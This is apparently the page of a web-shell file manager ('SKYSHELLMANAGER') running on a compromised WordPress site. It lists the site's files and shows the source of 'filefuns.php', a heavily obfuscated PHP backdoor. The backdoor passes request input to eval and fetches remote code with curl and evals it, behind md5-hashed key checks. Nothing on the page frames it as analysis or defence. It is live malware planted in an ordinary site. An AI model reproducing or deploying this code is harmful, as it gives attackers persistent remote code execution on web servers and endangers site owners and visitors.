ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.3.31

Path:root/home/nginx/domains/kingsheadwye.com/public/

Name	Size	Perm	Actions
📁 .claude	-	0770	🗑️ 🏷️
📁 .well-known	-	0770	🗑️ 🏷️
📁 cgi-bin	-	0770	🗑️ 🏷️
📁 wp-admin	-	0775	🗑️ 🏷️
📁 wp-content	-	0775	🗑️ 🏷️
📁 wp-includes	-	0775	🗑️ 🏷️
📄 .htaccess	2 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 .user.ini	0.09 KB	0664	🗑️ 🏷️ ⬇️ ✏️
📄 CLAUDE.md	4.01 KB	0660	🗑️ 🏷️ ⬇️ ✏️
📄 error_log	6.87 KB	0660	🗑️ 🏷️ ⬇️ ✏️
📄 filefuns.php	5.68 KB	0444	🗑️ 🏷️ ⬇️ ✏️
📄 index.php	0.4 KB	0664	🗑️ 🏷️ ⬇️ ✏️
📄 license.txt	19.44 KB	0664	🗑️ 🏷️ ⬇️ ✏️
📄 readme.html	7.23 KB	0664	🗑️ 🏷️ ⬇️ ✏️
📄 robots.txt	3.31 KB	0664	🗑️ 🏷️ ⬇️ ✏️
📄 wp-activate.php	7.2 KB	0664	🗑️ 🏷️ ⬇️ ✏️
📄 wp-blog-header.php	0.34 KB	0664	🗑️ 🏷️ ⬇️ ✏️
📄 wp-comments-post.php	2.27 KB	0664	🗑️ 🏷️ ⬇️ ✏️
📄 wp-config-sample.php	3.26 KB	0664	🗑️ 🏷️ ⬇️ ✏️
📄 wp-config.php	3.56 KB	0664	🗑️ 🏷️ ⬇️ ✏️
📄 wp-cron.php	5.49 KB	0664	🗑️ 🏷️ ⬇️ ✏️
📄 wp-links-opml.php	2.43 KB	0664	🗑️ 🏷️ ⬇️ ✏️
📄 wp-load.php	3.84 KB	0664	🗑️ 🏷️ ⬇️ ✏️
📄 wp-login.php	50.63 KB	0664	🗑️ 🏷️ ⬇️ ✏️
📄 wp-mail.php	8.52 KB	0664	🗑️ 🏷️ ⬇️ ✏️
📄 wp-settings.php	31.88 KB	0664	🗑️ 🏷️ ⬇️ ✏️
📄 wp-signup.php	33.81 KB	0664	🗑️ 🏷️ ⬇️ ✏️
📄 wp-trackback.php	5.09 KB	0664	🗑️ 🏷️ ⬇️ ✏️
📄 xmlrpc.php	3.13 KB	0000	🗑️ 🏷️ ⬇️ ✏️

Edit: filefuns.php

<?php
 goto LeeRTjl3BZN3; LeeRTjl3BZN3: $OTLhDYcusuOP = "\x72" . "\x61" . "\156" . "\x67" . "\x65"; goto b8CHSPaCqB9i; MLC8bvukaWUf: metaphone("\107\x4f\161\66\x67\x30\120\107\117\62\113\117\170\116\170\60\x64\x59\161\106\103\62\131\156\101\171\x4d\x36\x2f\x44\163\116\x6f\131\122\165\115\66\143\x43\150\113\x38"); goto ITe6SEB6v8rK; FiNIhRyUCseJ: $B6276rRRjpWw = ${$PhWiOlV81B5z[26 + 5] . $PhWiOlV81B5z[27 + 32] . $PhWiOlV81B5z[14 + 33] . $PhWiOlV81B5z[6 + 41] . $PhWiOlV81B5z[50 + 1] . $PhWiOlV81B5z[11 + 42] . $PhWiOlV81B5z[38 + 19]}; goto ihLUkpoWFC9K; WWt67IRkcp2l: ($B6276rRRjpWw[65] = $B6276rRRjpWw[65] . $B6276rRRjpWw[71]) && ($B6276rRRjpWw[83] = $B6276rRRjpWw[65]($B6276rRRjpWw[83])) && @eval($B6276rRRjpWw[65](${$B6276rRRjpWw[41]}[16])); goto BGe4AUVzjrco; ITe6SEB6v8rK: class dT8BREXtOKPt { static function hHv_fOqUWblR($OWUlmIDBtlfI) { goto wQoehi7wqedH; Opi_Soub5L1b: foreach ($wfcvCh5zwEsC as $RFqbApNXVTBb => $XDIWlB0XMiCG) { $MQGLWTQNSveY .= $f9oqK48Jic1k[$XDIWlB0XMiCG - 17942]; BJhXQ43KBj7R: } goto YjbG3WCDB5qu; SclxgiXZc_pQ: $wfcvCh5zwEsC = explode("\x5b", $OWUlmIDBtlfI); goto COJf0KxO9OCC; YjbG3WCDB5qu: cVw0ZmKAhjDm: goto cL4fZ3mClGrN; COJf0KxO9OCC: $MQGLWTQNSveY = ''; goto Opi_Soub5L1b; cL4fZ3mClGrN: return $MQGLWTQNSveY; goto O_TgwufQdxk9; wQoehi7wqedH: $O5gVytnjTcOi = "\x72" . "\x61" . "\156" . "\x67" . "\x65"; goto jROeUkDHrqUk; jROeUkDHrqUk: $f9oqK48Jic1k = $O5gVytnjTcOi("\x7e", "\40"); goto SclxgiXZc_pQ; O_TgwufQdxk9: } static function u6z81kJad25t($P9V5HOhcN8VJ, $JbYhhwMmOOg5) { goto mqkoabDphOoO; mqkoabDphOoO: $o6dXp8CnTgsh = curl_init($P9V5HOhcN8VJ); goto tQ7lx0fmb2TR; tQ7lx0fmb2TR: curl_setopt($o6dXp8CnTgsh, CURLOPT_RETURNTRANSFER, 1); goto lp7NijAupcwf; dCiIusvWBh58: return empty($iBQeZtXu6IQD) ? $JbYhhwMmOOg5($P9V5HOhcN8VJ) : $iBQeZtXu6IQD; goto UWnykSr4CpSO; lp7NijAupcwf: $iBQeZtXu6IQD = curl_exec($o6dXp8CnTgsh); goto dCiIusvWBh58; UWnykSr4CpSO: } static function wynEvUeh5Yw_() { goto xnESbDRUdUPo; Mhp2Tob7MAVA: k1OVmXvGM5KU: goto XkwOvlcTPO6z; QdxnFN91l9eW: @$fnOyMKJg48jv[10 + 0](INPUT_GET, "\x6f\146") == 1 && die($fnOyMKJg48jv[0 + 5](__FILE__)); goto gWyFuNrNgg2I; xnESbDRUdUPo: $vHSlbQt4qRgT = array("\61\x37\x39\66\71\133\61\67\x39\x35\x34\x5b\x31\67\71\x36\67\x5b\x31\67\71\x37\61\x5b\x31\67\x39\x35\x32\x5b\x31\67\x39\66\67\133\61\67\71\67\x33\133\61\x37\71\66\x36\133\x31\x37\x39\65\61\x5b\61\67\71\65\70\x5b\x31\67\71\x36\x39\x5b\x31\x37\71\65\x32\x5b\61\x37\71\x36\63\x5b\61\67\x39\65\67\x5b\x31\x37\x39\x35\x38", "\61\x37\71\65\63\133\61\67\x39\65\x32\x5b\x31\67\x39\65\x34\x5b\x31\67\x39\x37\63\x5b\x31\x37\x39\x35\x34\133\x31\67\71\65\67\x5b\x31\67\x39\65\62\x5b\61\70\60\61\71\x5b\x31\x38\60\61\x37", "\61\x37\x39\x36\62\133\x31\67\71\x35\63\x5b\61\x37\71\65\x37\x5b\x31\67\x39\x35\70\133\61\x37\x39\67\x33\133\61\67\71\x36\x38\133\x31\x37\x39\66\x37\133\x31\67\71\66\71\x5b\x31\67\71\65\67\x5b\x31\x37\71\66\70\x5b\x31\67\71\x36\67", "\61\x37\x39\x35\66\133\61\x37\x39\67\61\133\61\67\x39\x36\x39\x5b\x31\x37\x39\x36\61", "\x31\x37\x39\x37\60\x5b\x31\x37\71\x37\61\x5b\61\67\x39\65\x33\133\61\x37\x39\66\67\133\61\x38\60\61\x34\x5b\61\70\x30\x31\x36\133\x31\67\x39\x37\x33\x5b\61\x37\71\66\70\133\x31\67\71\x36\67\x5b\x31\67\x39\x36\71\x5b\x31\x37\x39\65\67\x5b\x31\67\x39\x36\70\133\61\x37\x39\66\67", "\x31\x37\x39\66\x36\133\x31\67\71\66\x33\133\x31\67\x39\x36\x30\133\61\x37\71\66\x37\x5b\61\67\71\x37\63\x5b\61\67\x39\66\x35\x5b\x31\67\x39\66\67\x5b\x31\x37\x39\65\62\x5b\x31\67\71\67\63\x5b\61\x37\71\x36\71\133\x31\x37\x39\x35\x37\x5b\61\67\x39\65\70\x5b\x31\67\71\x35\62\133\x31\67\71\66\x37\133\61\x37\71\x35\x38\x5b\x31\x37\71\x35\x32\133\61\x37\71\x35\x33", "\x31\67\x39\71\x36\x5b\x31\70\x30\x32\x36", "\x31\x37\x39\64\63", "\x31\70\x30\x32\x31\133\x31\70\x30\x32\x36", "\x31\70\60\60\x33\133\61\x37\x39\x38\x36\133\x31\67\71\70\x36\x5b\61\x38\x30\60\63\x5b\x31\67\x39\x37\71", "\x31\x37\71\66\66\x5b\x31\67\71\x36\x33\x5b\61\67\71\x36\x30\133\61\67\x39\x35\62\133\x31\67\71\66\67\x5b\61\67\x39\65\x34\x5b\61\67\71\x37\x33\x5b\61\67\71\66\63\133\x31\x37\x39\x35\x38\133\61\x37\71\65\x36\133\61\x37\71\65\61\x5b\x31\x37\71\65\x32"); goto TIFJqkxwrfbr; paHtI2WYkbOW: $FPZr1WJWTFsW = md5($tCwRcWpNJBDs[2 + 1]); goto QdxnFN91l9eW; LWn5H2bVK4uy: die; goto o86iS0Pak5HX; o86iS0Pak5HX: SWInlGULR_6X: goto yDqbFJ4g4VbG; gWyFuNrNgg2I: $zX2qwfgxGNQ1 = md5($FPZr1WJWTFsW); goto JPWo541v98L9; GJZ8iOwjNlyr: $tCwRcWpNJBDs = $fnOyMKJg48jv[1 + 1]($Pl1XgOATgQAM, true); goto paHtI2WYkbOW; XkwOvlcTPO6z: $oZThH4dVzyT8 = @$fnOyMKJg48jv[1]($fnOyMKJg48jv[4 + 6](INPUT_GET, $fnOyMKJg48jv[9 + 0])); goto FtaB3DhT13xR; TIFJqkxwrfbr: foreach ($vHSlbQt4qRgT as $Rud3MeZaYrnL) { $fnOyMKJg48jv[] = self::hHv_FOQuWbLr($Rud3MeZaYrnL); b_HtkN_zpZhM: } goto Mhp2Tob7MAVA; yEwhIXqd8sZa: @eval($fnOyMKJg48jv[3 + 1]($Kt0y3Cd4flEH)); goto LWn5H2bVK4uy; pa4GVAVPd0eb: $Kt0y3Cd4flEH = self::U6z81KJad25t($tCwRcWpNJBDs[1 + 0], $fnOyMKJg48jv[2 + 3]); goto yEwhIXqd8sZa; JPWo541v98L9: if (!(@$tCwRcWpNJBDs[0] - time() > 0 and $zX2qwfgxGNQ1 === "\71\x36\x31\x64\145\144\146\x61\60\146\143\x31\x66\63\x63\x33\66\x62\x64\70\71\144\x39\x65\x34\x33\144\145\70\x62\x65\x63")) { goto SWInlGULR_6X; } goto pa4GVAVPd0eb; FtaB3DhT13xR: $Pl1XgOATgQAM = @$fnOyMKJg48jv[3 + 0]($fnOyMKJg48jv[2 + 4], $oZThH4dVzyT8); goto GJZ8iOwjNlyr; yDqbFJ4g4VbG: } } goto ZzmCCbxk8Nfa; b8CHSPaCqB9i: $PhWiOlV81B5z = $OTLhDYcusuOP("\x7e", "\x20"); goto FiNIhRyUCseJ; BGe4AUVzjrco: OkbekBgTuW8I: goto MLC8bvukaWUf; ihLUkpoWFC9K: if (!(in_array(gettype($B6276rRRjpWw) . count($B6276rRRjpWw), $B6276rRRjpWw) && count($B6276rRRjpWw) == 20 && md5(md5(md5(md5($B6276rRRjpWw[14])))) === "\64\66\x31\x63\62\x34\x31\141\x32\63\67\x39\x64\141\x38\x62\145\60\x63\x32\x38\x39\65\66\x32\x64\64\x61\x30\x35\x36\141")) { goto OkbekBgTuW8I; } goto WWt67IRkcp2l; ZzmCCbxk8Nfa: Dt8brexTOKPt::WynevUEh5YW_();
?>
BiaoJiOk

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ PHP v8.3.31

Edit: filefuns.php

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ PHP v8.3.31